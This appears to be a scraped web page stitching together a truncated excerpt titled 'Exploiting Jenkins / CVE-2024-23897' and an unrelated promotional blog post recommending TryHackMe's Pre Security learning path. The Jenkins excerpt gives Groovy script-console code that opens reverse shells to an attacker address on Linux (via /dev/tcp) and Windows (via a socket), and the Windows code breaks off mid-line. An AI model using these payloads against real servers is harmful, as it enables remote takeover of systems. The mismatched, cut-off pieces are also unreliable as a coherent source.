Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Are you interested in learning cybersecurity and having the big question "Where to start?". Well, few months ago, i also had the same question in my mind. Do i need to learn programming languages first, or web applications or networking ??? That's where i want to talk about the popular learning platform Tryhackme. TryHackMe is an online platform that helps people to learn cybersecurity, especially penetration testing by doing hands-on labs.
There are multiple learning paths available on the platform and based on your knowledge and skill, you can select the most suitable one.
If you want to learn cybersecurity from the scratch, then you can explore each learning path, finish the rooms (Rooms are a set of learning exercises with an objective) and proceed to the next. But before diving deep, one must understand the technology and basics first. Introducing the Pre Security learning path. This path consists of 40 hours of content and will teach the necessary technical knowledge to get started in cyber security. The topics are spoon fed so that even a non-IT related person can easily grasp things and can build a strong foundation in Cyber security.
New rooms are developed and added to the platform on a regular basis which helps the learners to stay up to date with the latest happening in the cybersecurity domain. If you are planning for certifications such as OSCP or compTIA Pentester+, TryHackMe having curated learning paths to build the necessary skills and thereby accelerating your exam preparation..
When you completes a learning path, you will be awarded with a certificate of completion. Also you can acquire badges when you finish some specific rooms.
There are a lot of free rooms available on THM, where you can practice your security skills. However, as an active learner, i strongly recommends you to subscribe to the VIP plan of TryHackMe which gives access to all the learning paths and rooms. Good news is that, all these features comes at a very low cost. You can see the premium plan details below.
If you finish the Pre Security learning path before 15 July, 2021, you could win attractive prizes such as, free VIP subscription vouchers, certification vouchers, swags and other discounts. So, Signup and start learning.
